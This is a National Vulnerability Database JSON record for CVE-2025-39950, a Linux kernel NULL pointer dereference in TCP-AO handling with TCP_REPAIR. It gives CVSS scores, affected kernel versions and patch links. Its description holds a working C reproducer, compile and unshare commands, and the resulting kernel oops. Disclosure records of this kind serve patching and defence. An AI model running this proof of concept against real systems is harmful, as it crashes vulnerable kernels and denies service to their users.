{"resultsPerPage":1,"startIndex":0,"totalResults":1,"format":"NVD_CVE","version":"2.0","timestamp":"2026-05-07T14:56:45.453","vulnerabilities":[{"cve":{"id":"CVE-2025-39950","sourceIdentifier":"416baaa9-dc9f-4396-8d5f-8c081fb06d67","published":"2025-10-04T08:15:48.253","lastModified":"2026-01-23T20:03:48.107","vulnStatus":"Analyzed","cveTags":[],"descriptions":[{"lang":"en","value":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR\n\nA NULL pointer dereference can occur in tcp_ao_finish_connect() during a\nconnect() system call on a socket with a TCP-AO key added and TCP_REPAIR\nenabled.\n\nThe function is called with skb being NULL and attempts to dereference it\non tcp_hdr(skb)->seq without a prior skb validation.\n\nFix this by checking if skb is NULL before dereferencing it.\n\nThe commentary is taken from bpf_skops_established(), which is also called\nin the same flow. Unlike the function being patched,\nbpf_skops_established() validates the skb before dereferencing it.\n\nint main(void){\n\tstruct sockaddr_in sockaddr;\n\tstruct tcp_ao_add tcp_ao;\n\tint sk;\n\tint one = 1;\n\n\tmemset(&sockaddr,'\\0',sizeof(sockaddr));\n\tmemset(&tcp_ao,'\\0',sizeof(tcp_ao));\n\n\tsk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n\n\tsockaddr.sin_family = AF_INET;\n\n\tmemcpy(tcp_ao.alg_name,\"cmac(aes128)\",12);\n\tmemcpy(tcp_ao.key,\"ABCDEFGHABCDEFGH\",16);\n\ttcp_ao.keylen = 16;\n\n\tmemcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));\n\n\tsetsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,\n\tsizeof(tcp_ao));\n\tsetsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));\n\n\tsockaddr.sin_family = AF_INET;\n\tsockaddr.sin_port = htobe16(123);\n\n\tinet_aton(\"127.0.0.1\", &sockaddr.sin_addr);\n\n\tconnect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));\n\nreturn 0;\n}\n\n$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall\n$ unshare -Urn\n\nBUG: kernel NULL pointer dereference, address: 00000000000000b6\nPGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0\nOops: Oops: 0000 [#1] SMP NOPTI\nHardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop\nReference Platform, BIOS 6.00 11/12/2020\nRIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)"}],"metrics":{"cvssMetricV31":[{"source":"nvd@nist.gov","type":"Primary","cvssData":{"version":"3.1","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","baseScore":5.5,"baseSeverity":"MEDIUM","attackVector":"LOCAL","attackComplexity":"LOW","privilegesRequired":"LOW","userInteraction":"NONE","scope":"UNCHANGED","confidentialityImpact":"NONE","integrityImpact":"NONE","availabilityImpact":"HIGH"},"exploitabilityScore":1.8,"impactScore":3.6}]},"weaknesses":[{"source":"nvd@nist.gov","type":"Primary","description":[{"lang":"en","value":"CWE-476"}]}],"configurations":[{"nodes":[{"operator":"OR","negate":false,"cpeMatch":[{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"6.7","versionEndExcluding":"6.12.49","matchCriteriaId":"CAA033E9-A2C5-4976-A83E-9804D8FB827F"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"6.13","versionEndExcluding":"6.16.9","matchCriteriaId":"638DD910-1189-4F5E-98BF-2D436B695112"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*","matchCriteriaId":"327D22EF-390B-454C-BD31-2ED23C998A1C"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*","matchCriteriaId":"C730CD9A-D969-4A8E-9522-162AAF7C0EE9"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*","matchCriteriaId":"39982C4B-716E-4B2F-8196-FA301F47807D"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*","matchCriteriaId":"340BEEA9-D70D-4290-B502-FBB1032353B1"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*","matchCriteriaId":"47E4C5C0-079F-4838-971B-8C503D48FCC2"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*","matchCriteriaId":"5A4516A6-C12E-42A4-8C0E-68AEF3264504"}]}]}],"references":[{"url":"https://git.kernel.org/stable/c/2e7bba08923ebc675b1f0e0e0959e68e53047838","source":"416baaa9-dc9f-4396-8d5f-8c081fb06d67","tags":["Patch"]},{"url":"https://git.kernel.org/stable/c/5f445eb259906b61a518487a790e11d07d31738c","source":"416baaa9-dc9f-4396-8d5f-8c081fb06d67","tags":["Patch"]},{"url":"https://git.kernel.org/stable/c/993b734d31ab804747ac961b1ee664b023c3b5fa","source":"416baaa9-dc9f-4396-8d5f-8c081fb06d67","tags":["Patch"]}]}}]}